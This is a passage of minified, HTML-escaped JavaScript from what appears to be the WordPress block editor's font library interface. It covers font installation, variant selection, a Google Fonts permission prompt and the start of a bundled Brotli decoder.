X=f?.[j.source??&quot;&quot;]??[],ae=ux(j,H,X);m({...f,[j.source??&quot;&quot;]:ae});let ne=z(j.slug,H?.fontStyle??&quot;&quot;,H?.fontWeight??&quot;&quot;,j.source??&quot;custom&quot;);if(H&amp;&amp;ne)Cb(H,&quot;all&quot;);else{let ue=nh(H?.src??&quot;&quot;);H&amp;&amp;ue&amp;&amp;Lu(H,ue,&quot;all&quot;)}},V=async j=&gt;{if(!j.src)return;let H=nh(j.src);!H||R.has(H)||(Lu(j,H,&quot;document&quot;),R.add(H))};return(0,qz.jsx)(Lo.Provider,{value:{libraryFontSelected:y,handleSetLibraryFontSelected:T,fontFamilies:f??{},baseCustomFonts:x,isFontActivated:z,getFontFacesActivated:L,loadFontFaceAsset:V,installFonts:M,uninstallFontFamily:k,toggleActivateFont:Z,getAvailableFontsOutline:F,modalTabOpen:g,setModalTabOpen:v,saveFontFamilies:h,isResolvingLibrary:u,isInstalling:a},children:e})}var dx=Fye;var lh=s(E(),1),kx=s(A(),1),Ex=s(W(),1),RU=s(O(),1);var Qe=s(A(),1),Pb=s(W(),1),F6=s(O(),1),Mf=s(D(),1),er=s(E(),1);var sh=s(E(),1),us=s(A(),1);var Zz=s(A(),1),Va=s(D(),1);var fx=s(C(),1);function Dye(e){if(e.preview)return e.preview;if(e.src)return Array.isArray(e.src)?e.src[0]:e.src}function Bye(e){return&quot;fontStyle&quot;in e&amp;&amp;e.fontStyle||&quot;fontWeight&quot;in e&amp;&amp;e.fontWeight?e:&quot;fontFace&quot;in e&amp;&amp;e.fontFace&amp;&amp;e.fontFace.length?e.fontFace.find(t=&gt;t.fontStyle===&quot;normal&quot;&amp;&amp;t.fontWeight===&quot;400&quot;)||e.fontFace[0]:{fontStyle:&quot;normal&quot;,fontWeight:&quot;400&quot;,fontFamily:e.fontFamily}}function Mye({font:e,text:t}){let r=(0,Va.useRef)(null),o=Bye(e),n=Af(e);t=t||(&quot;name&quot;in e?e.name:&quot;&quot;);let i=e.preview,[a,l]=(0,Va.useState)(!1),[c,u]=(0,Va.useState)(!1),{loadFontFaceAsset:d}=(0,Va.useContext)(Lo),f=i??Dye(o),m=f&amp;&amp;f.match(/\.(png|jpg|jpeg|gif|svg)$/i),h=Kj(o),g={fontSize:&quot;18px&quot;,lineHeight:1,opacity:c?&quot;1&quot;:&quot;0&quot;,...n,...h};return(0,Va.useEffect)(()=&gt;{let v=new window.IntersectionObserver(([y])=&gt;{l(y.isIntersecting)},{});return r.current&amp;&amp;v.observe(r.current),()=&gt;v.disconnect()},[r]),(0,Va.useEffect)(()=&gt;{(async()=&gt;a&amp;&amp;(!m&amp;&amp;o.src&amp;&amp;await d(o),u(!0)))()},[o,a,d,m]),(0,fx.jsx)(&quot;div&quot;,{ref:r,children:m?(0,fx.jsx)(&quot;img&quot;,{src:f,loading:&quot;lazy&quot;,alt:t,className:&quot;font-library__font-variant_demo-image&quot;}):(0,fx.jsx)(Zz.__experimentalText,{style:g,className:&quot;font-library__font-variant_demo-text&quot;,children:t})})}var ih=Mye;var ja=s(C(),1);function Lye({font:e,onClick:t,variantsText:r,navigatorPath:o}){let n=e.fontFace?.length||1,i={cursor:t?&quot;pointer&quot;:&quot;default&quot;},a=(0,us.useNavigator)();return(0,ja.jsx)(us.Button,{__next40pxDefaultSize:!0,onClick:()=&gt;{t(),o&amp;&amp;a.goTo(o)},style:i,className:&quot;font-library__font-card&quot;,children:(0,ja.jsxs)(us.Flex,{justify:&quot;space-between&quot;,wrap:!1,children:[(0,ja.jsx)(ih,{font:e}),(0,ja.jsxs)(us.Flex,{justify:&quot;flex-end&quot;,children:[(0,ja.jsx)(us.FlexItem,{children:(0,ja.jsx)(us.__experimentalText,{className:&quot;font-library__font-card__count&quot;,children:r||(0,sh.sprintf)((0,sh._n)(&quot;%d variant&quot;,&quot;%d variants&quot;,n),n)})}),(0,ja.jsx)(us.FlexItem,{children:(0,ja.jsx)(No,{icon:(0,sh.isRTL)()?Nt:Ft})})]})]})})}var Tb=Lye;var mx=s(D(),1),px=s(A(),1);var Bf=s(C(),1);function Vye({face:e,font:t}){let{isFontActivated:r,toggleActivateFont:o}=(0,mx.useContext)(Lo),n=(t?.fontFace?.length??0)&gt;0?r(t.slug,e.fontStyle,e.fontWeight,t.source):r(t.slug,void 0,void 0,t.source),i=()=&gt;{if((t?.fontFace?.length??0)&gt;0){o(t,e);return}o(t)},a=t.name+&quot; &quot;+cx(e),l=(0,mx.useId)();return(0,Bf.jsx)(&quot;div&quot;,{className:&quot;font-library__font-card&quot;,children:(0,Bf.jsxs)(px.Flex,{justify:&quot;flex-start&quot;,align:&quot;center&quot;,gap:&quot;1rem&quot;,children:[(0,Bf.jsx)(px.CheckboxControl,{checked:n,onChange:i,id:l}),(0,Bf.jsx)(&quot;label&quot;,{htmlFor:l,children:(0,Bf.jsx)(ih,{font:e,text:a,onClick:i})})]})})}var Kz=Vye;function Xz(e){switch(e){case&quot;normal&quot;:return 400;case&quot;bold&quot;:return 700;case&quot;bolder&quot;:return 500;case&quot;lighter&quot;:return 300;default:return parseInt(e,10)}}function hx(e){return e.sort((t,r)=&gt;t.fontStyle===&quot;normal&quot;&amp;&amp;r.fontStyle!==&quot;normal&quot;?-1:r.fontStyle===&quot;normal&quot;&amp;&amp;t.fontStyle!==&quot;normal&quot;?1:t.fontStyle===r.fontStyle?Xz(t.fontWeight?.toString()??&quot;normal&quot;)-Xz(r.fontWeight?.toString()??&quot;normal&quot;):!t.fontStyle||!r.fontStyle?t.fontStyle?-1:1:t.fontStyle.localeCompare(r.fontStyle))}var We=s(C(),1);function jye(){let{baseCustomFonts:e,libraryFontSelected:t,handleSetLibraryFontSelected:r,uninstallFontFamily:o,isResolvingLibrary:n,isInstalling:i,saveFontFamilies:a,getFontFacesActivated:l}=(0,Mf.useContext)(Lo),[c,u]=pe(&quot;typography.fontFamilies&quot;),[d,f]=(0,Mf.useState)(!1),[m,h]=(0,Mf.useState)(null),[g]=pe(&quot;typography.fontFamilies&quot;,void 0,&quot;base&quot;),v=(0,F6.useSelect)(V=&gt;{let{__experimentalGetCurrentGlobalStylesId:j}=V(Pb.store);return j()},[]),b=!!(0,Pb.useEntityRecord)(&quot;root&quot;,&quot;globalStyles&quot;,v)?.edits?.settings?.typography?.fontFamilies,_=c?.theme?c.theme.map(V=&gt;Ql(V,{source:&quot;theme&quot;})).sort((V,j)=&gt;V.name.localeCompare(j.name)):[],S=new Set(_.map(V=&gt;V.slug)),x=g?.theme?_.concat(g.theme.filter(V=&gt;!S.has(V.slug)).map(V=&gt;Ql(V,{source:&quot;theme&quot;})).sort((V,j)=&gt;V.name.localeCompare(j.name))):[],T=t?.source===&quot;custom&quot;&amp;&amp;t?.id,R=(0,F6.useSelect)(V=&gt;{let{canUser:j}=V(Pb.store);return T&amp;&amp;j(&quot;delete&quot;,{kind:&quot;postType&quot;,name:&quot;wp_font_family&quot;,id:T})},[T]),F=!!t&amp;&amp;t?.source!==&quot;theme&quot;&amp;&amp;R,B=()=&gt;{f(!0)},z=async()=&gt;{h(null);try{await a(c),h({type:&quot;success&quot;,message:(0,er.__)(&quot;Font family updated successfully.&quot;)})}catch(V){h({type:&quot;error&quot;,message:(0,er.sprintf)((0,er.__)(&quot;There was an error updating the font family. %s&quot;),V.message)})}},L=V=&gt;V?!V.fontFace||!V.fontFace.length?[{fontFamily:V.fontFamily,fontStyle:&quot;normal&quot;,fontWeight:&quot;400&quot;}]:hx(V.fontFace):[],M=V=&gt;{let j=V?.fontFace&amp;&amp;(V?.fontFace?.length??0)&gt;0?V.fontFace.length:1,H=l(V.slug,V.source).length;return(0,er.sprintf)((0,er.__)(&quot;%1$d/%2$d variants active&quot;),H,j)};(0,Mf.useEffect)(()=&gt;{r(t)},[]);let k=t?l(t.slug,t.source).length:0,I=t?.fontFace?.length??(t?.fontFamily?1:0),U=k&gt;0&amp;&amp;k!==I,G=k===I,Y=()=&gt;{if(!t||!t?.source)return;let V=c?.[t.source]?.filter(H=&gt;H.slug!==t.slug)??[],j=G?V:[...V,t];u({...c,[t.source]:j}),t.fontFace&amp;&amp;t.fontFace.forEach(H=&gt;{if(G)Cb(H,&quot;all&quot;);else{let X=nh(H?.src??&quot;&quot;);X&amp;&amp;Lu(H,X,&quot;all&quot;)}})},Z=x.length&gt;0||e.length&gt;0;return(0,We.jsxs)(&quot;div&quot;,{className:&quot;font-library__tabpanel-layout&quot;,children:[n&amp;&amp;(0,We.jsx)(&quot;div&quot;,{className:&quot;font-library__loading&quot;,children:(0,We.jsx)(Qe.ProgressBar,{})}),!n&amp;&amp;(0,We.jsxs)(We.Fragment,{children:[(0,We.jsxs)(Qe.Navigator,{initialPath:t?&quot;/fontFamily&quot;:&quot;/&quot;,children:[(0,We.jsx)(Qe.Navigator.Screen,{path:&quot;/&quot;,children:(0,We.jsxs)(Qe.__experimentalVStack,{spacing:&quot;8&quot;,children:[m&amp;&amp;(0,We.jsx)(Qe.Notice,{status:m.type,onRemove:()=&gt;h(null),children:m.message}),!Z&amp;&amp;(0,We.jsx)(Qe.__experimentalText,{as:&quot;p&quot;,children:(0,er.__)(&quot;No fonts installed.&quot;)}),x.length&gt;0&amp;&amp;(0,We.jsxs)(Qe.__experimentalVStack,{children:[(0,We.jsx)(&quot;h2&quot;,{className:&quot;font-library__fonts-title&quot;,children:(0,er._x)(&quot;Theme&quot;,&quot;font source&quot;)}),(0,We.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;font-library__fonts-list&quot;,children:x.map(V=&gt;(0,We.jsx)(&quot;li&quot;,{className:&quot;font-library__fonts-list-item&quot;,children:(0,We.jsx)(Tb,{font:V,navigatorPath:&quot;/fontFamily&quot;,variantsText:M(V),onClick:()=&gt;{h(null),r(V)}})},V.slug))})]}),e.length&gt;0&amp;&amp;(0,We.jsxs)(Qe.__experimentalVStack,{children:[(0,We.jsx)(&quot;h2&quot;,{className:&quot;font-library__fonts-title&quot;,children:(0,er._x)(&quot;Custom&quot;,&quot;font source&quot;)}),(0,We.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;font-library__fonts-list&quot;,children:e.map(V=&gt;(0,We.jsx)(&quot;li&quot;,{className:&quot;font-library__fonts-list-item&quot;,children:(0,We.jsx)(Tb,{font:V,navigatorPath:&quot;/fontFamily&quot;,variantsText:M(V),onClick:()=&gt;{h(null),r(V)}})},V.slug))})]})]})}),(0,We.jsxs)(Qe.Navigator.Screen,{path:&quot;/fontFamily&quot;,children:[t&amp;&amp;(0,We.jsx)(zye,{font:t,isOpen:d,setIsOpen:f,setNotice:h,uninstallFontFamily:o,handleSetLibraryFontSelected:r}),(0,We.jsxs)(Qe.Flex,{justify:&quot;flex-start&quot;,children:[(0,We.jsx)(Qe.Navigator.BackButton,{icon:(0,er.isRTL)()?Ft:Nt,size:&quot;small&quot;,onClick:()=&gt;{r(void 0),h(null)},label:(0,er.__)(&quot;Back&quot;)}),(0,We.jsx)(Qe.__experimentalHeading,{level:2,size:13,className:&quot;global-styles-ui-header&quot;,children:t?.name})]}),m&amp;&amp;(0,We.jsxs)(We.Fragment,{children:[(0,We.jsx)(Qe.__experimentalSpacer,{margin:1}),(0,We.jsx)(Qe.Notice,{status:m.type,onRemove:()=&gt;h(null),children:m.message}),(0,We.jsx)(Qe.__experimentalSpacer,{margin:1})]}),(0,We.jsx)(Qe.__experimentalSpacer,{margin:4}),(0,We.jsx)(Qe.__experimentalText,{children:(0,er.__)(&quot;Choose font variants. Keep in mind that too many variants could make your site slower.&quot;)}),(0,We.jsx)(Qe.__experimentalSpacer,{margin:4}),(0,We.jsxs)(Qe.__experimentalVStack,{spacing:0,children:[(0,We.jsx)(Qe.CheckboxControl,{className:&quot;font-library__select-all&quot;,label:(0,er.__)(&quot;Select all&quot;),checked:G,onChange:Y,indeterminate:U}),(0,We.jsx)(Qe.__experimentalSpacer,{margin:8}),(0,We.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;font-library__fonts-list&quot;,children:t&amp;&amp;L(t).map((V,j)=&gt;(0,We.jsx)(&quot;li&quot;,{className:&quot;font-library__fonts-list-item&quot;,children:(0,We.jsx)(Kz,{font:t,face:V},`face${j}`)},`face${j}`))})]})]})]}),(0,We.jsxs)(Qe.__experimentalHStack,{justify:&quot;flex-end&quot;,className:&quot;font-library__footer&quot;,children:[i&amp;&amp;(0,We.jsx)(Qe.ProgressBar,{}),F&amp;&amp;(0,We.jsx)(Qe.Button,{__next40pxDefaultSize:!0,isDestructive:!0,variant:&quot;tertiary&quot;,onClick:B,children:(0,er.__)(&quot;Delete&quot;)}),(0,We.jsx)(Qe.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:z,disabled:!b,accessibleWhenDisabled:!0,children:(0,er.__)(&quot;Update&quot;)})]})]})]})}function zye({font:e,isOpen:t,setIsOpen:r,setNotice:o,uninstallFontFamily:n,handleSetLibraryFontSelected:i}){let a=(0,Qe.useNavigator)(),l=async()=&gt;{o(null),r(!1);try{await n(e),a.goBack(),i(void 0),o({type:&quot;success&quot;,message:(0,er.__)(&quot;Font family uninstalled successfully.&quot;)})}catch(u){o({type:&quot;error&quot;,message:(0,er.__)(&quot;There was an error uninstalling the font family.&quot;)+u.message})}},c=()=&gt;{r(!1)};return(0,We.jsx)(Qe.__experimentalConfirmDialog,{isOpen:t,cancelButtonText:(0,er.__)(&quot;Cancel&quot;),confirmButtonText:(0,er.__)(&quot;Delete&quot;),onCancel:c,onConfirm:l,size:&quot;medium&quot;,children:e&amp;&amp;(0,er.sprintf)((0,er.__)(&#039;Are you sure you want to delete &quot;%s&quot; font and all its variants and assets?&#039;),e.name)})}var gx=jye;var bo=s(D(),1),je=s(A(),1),nU=s(he(),1),Zt=s(E(),1);var iU=s(W(),1);function Qz(e,t){let{category:r,search:o}=t,n=e||[];return r&amp;&amp;r!==&quot;all&quot;&amp;&amp;(n=n.filter(i=&gt;i.categories&amp;&amp;i.categories.indexOf(r)!==-1)),o&amp;&amp;(n=n.filter(i=&gt;i.font_family_settings&amp;&amp;i.font_family_settings.name.toLowerCase().includes(o.toLowerCase()))),n}function Jz(e){return e.reduce((t,r)=&gt;({...t,[r.slug]:(r?.fontFace||[]).reduce((o,n)=&gt;({...o,[`${n.fontStyle}-${n.fontWeight}`]:!0}),{})}),{})}function $z(e,t,r){return t?!!r[e]?.[`${t.fontStyle}-${t.fontWeight}`]:!!r[e]}var kb=s(E(),1),Fn=s(A(),1),ds=s(C(),1);function Uye(){let e=()=&gt;{window.localStorage.setItem(&quot;wp-font-library-google-fonts-permission&quot;,&quot;true&quot;),window.dispatchEvent(new Event(&quot;storage&quot;))};return(0,ds.jsx)(&quot;div&quot;,{className:&quot;font-library__google-fonts-confirm&quot;,children:(0,ds.jsx)(Fn.Card,{children:(0,ds.jsxs)(Fn.CardBody,{children:[(0,ds.jsx)(Fn.__experimentalHeading,{level:2,children:(0,kb.__)(&quot;Connect to Google Fonts&quot;)}),(0,ds.jsx)(Fn.__experimentalSpacer,{margin:6}),(0,ds.jsx)(Fn.__experimentalText,{as:&quot;p&quot;,children:(0,kb.__)(&quot;To install fonts from Google you must give permission to connect directly to Google servers. The fonts you install will be downloaded from Google and stored on your site. Your site will then use these locally-hosted fonts.&quot;)}),(0,ds.jsx)(Fn.__experimentalSpacer,{margin:3}),(0,ds.jsx)(Fn.__experimentalText,{as:&quot;p&quot;,children:(0,kb.__)(&quot;You can alternatively upload files directly on the Upload tab.&quot;)}),(0,ds.jsx)(Fn.__experimentalSpacer,{margin:6}),(0,ds.jsx)(Fn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:e,children:(0,kb.__)(&quot;Allow access to Google Fonts&quot;)})]})})})}var eU=Uye;var tU=s(D(),1),vx=s(A(),1);var Lf=s(C(),1);function Hye({face:e,font:t,handleToggleVariant:r,selected:o}){let n=()=&gt;{if(t?.fontFace){r(t,e);return}r(t)},i=t.name+&quot; &quot;+cx(e),a=(0,tU.useId)();return(0,Lf.jsx)(&quot;div&quot;,{className:&quot;font-library__font-card&quot;,children:(0,Lf.jsxs)(vx.Flex,{justify:&quot;flex-start&quot;,align:&quot;center&quot;,gap:&quot;1rem&quot;,children:[(0,Lf.jsx)(vx.CheckboxControl,{checked:o,onChange:n,id:a}),(0,Lf.jsx)(&quot;label&quot;,{htmlFor:a,children:(0,Lf.jsx)(ih,{font:e,text:i,onClick:n})})]})})}var rU=Hye;var Ae=s(C(),1),Gye={slug:&quot;all&quot;,name:(0,Zt._x)(&quot;All&quot;,&quot;font categories&quot;)},oU=&quot;wp-font-library-google-fonts-permission&quot;,Wye=500;function Yye({slug:e}){let t=e===&quot;google-fonts&quot;,r=()=&gt;window.localStorage.getItem(oU)===&quot;true&quot;,[o,n]=(0,bo.useState)(null),[i,a]=(0,bo.useState)(null),[l,c]=(0,bo.useState)([]),[u,d]=(0,bo.useState)(1),[f,m]=(0,bo.useState)({}),[h,g]=(0,bo.useState)(t&amp;&amp;!r()),{installFonts:v,isInstalling:y}=(0,bo.useContext)(Lo),{record:b,isResolving:_}=(0,iU.useEntityRecord)(&quot;root&quot;,&quot;fontCollection&quot;,e);(0,bo.useEffect)(()=&gt;{let oe=()=&gt;{g(t&amp;&amp;!r())};return oe(),window.addEventListener(&quot;storage&quot;,oe),()=&gt;window.removeEventListener(&quot;storage&quot;,oe)},[e,t]);let S=()=&gt;{window.localStorage.setItem(oU,&quot;false&quot;),window.dispatchEvent(new Event(&quot;storage&quot;))};(0,bo.useEffect)(()=&gt;{n(null)},[e]),(0,bo.useEffect)(()=&gt;{c([])},[o]);let x=(0,bo.useMemo)(()=&gt;b?.font_families??[],[b]),T=b?.categories??[],R=[Gye,...T],F=(0,bo.useMemo)(()=&gt;Qz(x,f),[x,f]),B=Math.max(window.innerHeight,Wye),z=Math.floor((B-417)/61),L=Math.ceil(F.length/z),M=(u-1)*z,k=u*z,I=F.slice(M,k),U=oe=&gt;{m({...f,category:oe}),d(1)},Y=(0,nU.debounce)(oe=&gt;{m({...f,search:oe}),d(1)},300),Z=(oe,ge)=&gt;{let Re=ux(oe,ge,l);c(Re)},V=Jz(l),j=()=&gt;{c([])},H=l.length&gt;0?l[0]?.fontFace?.length??0:0,X=H&gt;0&amp;&amp;H!==o?.fontFace?.length,ae=H===o?.fontFace?.length,ne=()=&gt;{let oe=[];!ae&amp;&amp;o&amp;&amp;oe.push(o),c(oe)},ue=async()=&gt;{a(null);let oe=l[0];try{oe?.fontFace&amp;&amp;await Promise.all(oe.fontFace.map(async ge=&gt;{ge.src&amp;&amp;(ge.file=await Wz(ge.src))}))}catch{a({type:&quot;error&quot;,message:(0,Zt.__)(&quot;Error installing the fonts, could not be downloaded.&quot;)});return}try{await v([oe]),a({type:&quot;success&quot;,message:(0,Zt.__)(&quot;Fonts were installed successfully.&quot;)})}catch(ge){a({type:&quot;error&quot;,message:ge.message})}j()},Ye=oe=&gt;oe?!oe.fontFace||!oe.fontFace.length?[{fontFamily:oe.fontFamily,fontStyle:&quot;normal&quot;,fontWeight:&quot;400&quot;}]:hx(oe.fontFace):[];if(h)return(0,Ae.jsx)(eU,{});let ye=()=&gt;e!==&quot;google-fonts&quot;||h||o?null:(0,Ae.jsx)(je.DropdownMenu,{icon:Nr,label:(0,Zt.__)(&quot;Actions&quot;),popoverProps:{position:&quot;bottom left&quot;},controls:[{title:(0,Zt.__)(&quot;Revoke access to Google Fonts&quot;),onClick:S}]});return(0,Ae.jsxs)(&quot;div&quot;,{className:&quot;font-library__tabpanel-layout&quot;,children:[_&amp;&amp;(0,Ae.jsx)(&quot;div&quot;,{className:&quot;font-library__loading&quot;,children:(0,Ae.jsx)(je.ProgressBar,{})}),!_&amp;&amp;b&amp;&amp;(0,Ae.jsxs)(Ae.Fragment,{children:[(0,Ae.jsxs)(je.Navigator,{initialPath:&quot;/&quot;,className:&quot;font-library__tabpanel-layout&quot;,children:[(0,Ae.jsxs)(je.Navigator.Screen,{path:&quot;/&quot;,children:[(0,Ae.jsxs)(je.__experimentalHStack,{justify:&quot;space-between&quot;,children:[(0,Ae.jsxs)(je.__experimentalVStack,{children:[(0,Ae.jsx)(je.__experimentalHeading,{level:2,size:13,children:b.name}),(0,Ae.jsx)(je.__experimentalText,{children:b.description})]}),(0,Ae.jsx)(ye,{})]}),(0,Ae.jsx)(je.__experimentalSpacer,{margin:4}),(0,Ae.jsxs)(je.__experimentalHStack,{spacing:4,justify:&quot;space-between&quot;,children:[(0,Ae.jsx)(je.SearchControl,{value:f.search,placeholder:(0,Zt.__)(&quot;Font name\u2026&quot;),label:(0,Zt.__)(&quot;Search&quot;),onChange:Y,hideLabelFromVision:!1}),(0,Ae.jsx)(je.SelectControl,{__next40pxDefaultSize:!0,label:(0,Zt.__)(&quot;Category&quot;),value:f.category,onChange:U,children:R&amp;&amp;R.map(oe=&gt;(0,Ae.jsx)(&quot;option&quot;,{value:oe.slug,children:oe.name},oe.slug))})]}),(0,Ae.jsx)(je.__experimentalSpacer,{margin:4}),!!b?.font_families?.length&amp;&amp;!F.length&amp;&amp;(0,Ae.jsx)(je.__experimentalText,{children:(0,Zt.__)(&quot;No fonts found. Try with a different search term.&quot;)}),(0,Ae.jsx)(&quot;div&quot;,{className:&quot;font-library__fonts-grid__main&quot;,children:(0,Ae.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;font-library__fonts-list&quot;,children:I.map(oe=&gt;(0,Ae.jsx)(&quot;li&quot;,{className:&quot;font-library__fonts-list-item&quot;,children:(0,Ae.jsx)(Tb,{font:oe.font_family_settings,navigatorPath:&quot;/fontFamily&quot;,onClick:()=&gt;{n(oe.font_family_settings)}})},oe.font_family_settings.slug))})})]}),(0,Ae.jsxs)(je.Navigator.Screen,{path:&quot;/fontFamily&quot;,children:[(0,Ae.jsxs)(je.Flex,{justify:&quot;flex-start&quot;,children:[(0,Ae.jsx)(je.Navigator.BackButton,{icon:(0,Zt.isRTL)()?Ft:Nt,size:&quot;small&quot;,onClick:()=&gt;{n(null),a(null)},label:(0,Zt.__)(&quot;Back&quot;)}),(0,Ae.jsx)(je.__experimentalHeading,{level:2,size:13,className:&quot;global-styles-ui-header&quot;,children:o?.name})]}),i&amp;&amp;(0,Ae.jsxs)(Ae.Fragment,{children:[(0,Ae.jsx)(je.__experimentalSpacer,{margin:1}),(0,Ae.jsx)(je.Notice,{status:i.type,onRemove:()=&gt;a(null),children:i.message}),(0,Ae.jsx)(je.__experimentalSpacer,{margin:1})]}),(0,Ae.jsx)(je.__experimentalSpacer,{margin:4}),(0,Ae.jsx)(je.__experimentalText,{children:(0,Zt.__)(&quot;Select font variants to install.&quot;)}),(0,Ae.jsx)(je.__experimentalSpacer,{margin:4}),(0,Ae.jsx)(je.CheckboxControl,{className:&quot;font-library__select-all&quot;,label:(0,Zt.__)(&quot;Select all&quot;),checked:ae,onChange:ne,indeterminate:X}),(0,Ae.jsx)(je.__experimentalVStack,{spacing:0,children:(0,Ae.jsx)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;font-library__fonts-list&quot;,children:o&amp;&amp;Ye(o).map((oe,ge)=&gt;(0,Ae.jsx)(&quot;li&quot;,{className:&quot;font-library__fonts-list-item&quot;,children:(0,Ae.jsx)(rU,{font:o,face:oe,handleToggleVariant:Z,selected:$z(o.slug,o.fontFace?oe:null,V)})},`face${ge}`))})}),(0,Ae.jsx)(je.__experimentalSpacer,{margin:16})]})]}),o&amp;&amp;(0,Ae.jsx)(je.Flex,{justify:&quot;flex-end&quot;,className:&quot;font-library__footer&quot;,children:(0,Ae.jsx)(je.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:ue,isBusy:y,disabled:l.length===0||y,accessibleWhenDisabled:!0,children:(0,Zt.__)(&quot;Install&quot;)})}),!o&amp;&amp;(0,Ae.jsxs)(je.__experimentalHStack,{expanded:!1,className:&quot;font-library__footer&quot;,justify:&quot;end&quot;,spacing:6,children:[(0,Ae.jsx)(je.__experimentalHStack,{justify:&quot;flex-start&quot;,expanded:!1,spacing:1,className:&quot;font-library__page-selection&quot;,children:(0,bo.createInterpolateElement)((0,Zt.sprintf)((0,Zt._x)(&quot;&lt;div&gt;Page&lt;/div&gt;%1$s&lt;div&gt;of %2$d&lt;/div&gt;&quot;,&quot;paging&quot;),&quot;&lt;CurrentPage /&gt;&quot;,L),{div:(0,Ae.jsx)(&quot;div&quot;,{&quot;aria-hidden&quot;:!0}),CurrentPage:(0,Ae.jsx)(je.SelectControl,{&quot;aria-label&quot;:(0,Zt.__)(&quot;Current page&quot;),value:u.toString(),options:[...Array(L)].map((oe,ge)=&gt;({label:(ge+1).toString(),value:(ge+1).toString()})),onChange:oe=&gt;d(parseInt(oe)),size:&quot;small&quot;,variant:&quot;minimal&quot;})})}),(0,Ae.jsxs)(je.__experimentalHStack,{expanded:!1,spacing:1,children:[(0,Ae.jsx)(je.Button,{onClick:()=&gt;d(u-1),disabled:u===1,accessibleWhenDisabled:!0,label:(0,Zt.__)(&quot;Previous page&quot;),icon:(0,Zt.isRTL)()?Tl:kl,showTooltip:!0,size:&quot;compact&quot;,tooltipPosition:&quot;top&quot;}),(0,Ae.jsx)(je.Button,{onClick:()=&gt;d(u+1),disabled:u===L,accessibleWhenDisabled:!0,label:(0,Zt.__)(&quot;Next page&quot;),icon:(0,Zt.isRTL)()?kl:Tl,showTooltip:!0,size:&quot;compact&quot;,tooltipPosition:&quot;top&quot;})]})]})]})]})}var yx=Yye;var ah=s(E(),1),on=s(A(),1),Rb=s(D(),1);var bx=(e=&gt;typeof Zn&lt;&quot;u&quot;?Zn:typeof Proxy&lt;&quot;u&quot;?new Proxy(e,{get:(t,r)=&gt;(typeof Zn&lt;&quot;u&quot;?Zn:t)[r]}):e)(function(e){if(typeof Zn&lt;&quot;u&quot;)return Zn.apply(this,arguments);throw Error(&#039;Dynamic require of &quot;&#039;+e+&#039;&quot; is not supported&#039;)}),sU=(function(){var e,t,r;return(function(){function o(n,i,a){function l(d,f){if(!i[d]){if(!n[d]){var m=typeof bx==&quot;function&quot;&amp;&amp;bx;if(!f&amp;&amp;m)return m(d,!0);if(c)return c(d,!0);var h=new Error(&quot;Cannot find module &#039;&quot;+d+&quot;&#039;&quot;);throw h.code=&quot;MODULE_NOT_FOUND&quot;,h}var g=i[d]={exports:{}};n[d][0].call(g.exports,function(v){var y=n[d][1][v];return l(y||v)},g,g.exports,o,n,i,a)}return i[d].exports}for(var c=typeof bx==&quot;function&quot;&amp;&amp;bx,u=0;u&lt;a.length;u++)l(a[u]);return l}return o})()({1:[function(o,n,i){var a=4096,l=2*a+32,c=2*a-1,u=new Uint32Array([0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535,131071,262143,524287,1048575,2097151,4194303,8388607,16777215]);function d(f){this.buf_=new Uint8Array(l),this.input_=f,this.reset()}d.READ_SIZE=a,d.IBUF_MASK=c,d.prototype.reset=function(){this.buf_ptr_=0,this.val_=0,this.pos_=0,this.bit_pos_=0,this.bit_end_pos_=0,this.eos_=0,this.readMoreInput();for(var f=0;f&lt;4;f++)this.val_|=this.buf_[this.pos_]&lt;&lt;8*f,++this.pos_;return this.bit_end_pos_&gt;0},d.prototype.readMoreInput=function(){if(!(this.bit_end_pos_&gt;256))if(this.eos_){if(this.bit_pos_&gt;this.bit_end_pos_)throw new Error(&quot;Unexpected end of input &quot;+this.bit_pos_+&quot; &quot;+this.bit_end_pos_)}else{var f=this.buf_ptr_,m=this.input_.read(this.buf_,f,a);if(m&lt;0)throw new Error(&quot;Unexpected end of input&quot;);if(m&lt;a){this.eos_=1;for(var h=0;h&lt;32;h++)this.buf_[f+m+h]=0}if(f===0){for(var h=0;h&lt;32;h++)this.buf_[(a&lt;&lt;1)+h]=this.buf_[h];this.buf_ptr_=a}else this.buf_ptr_=0;this.bit_end_pos_+=m&lt;&lt;3}},d.prototype.fillBitWindow=function(){for(;this.bit_pos_&gt;=8;)this.val_&gt;&gt;&gt;=8,this.val_|=this.buf_[this.pos_&amp;c]&lt;&lt;24,++this.pos_,this.bit_pos_=this.bit_pos_-8&gt;&gt;&gt;0,this.bit_end_pos_=this.bit_end_pos_-8&gt;&gt;&gt;0},d.prototype.readBits=function(f){32-this.bit_pos_&lt;f&amp;&amp;this.fillBitWindow();var m=this.val_&gt;&gt;&gt;this.bit_pos_&amp;u[f];return this.bit_pos_+=f,m},n.exports=d},{}],2:[function(o,n,i){var a=0,l=1,c=2,u=3;i.lookup=new 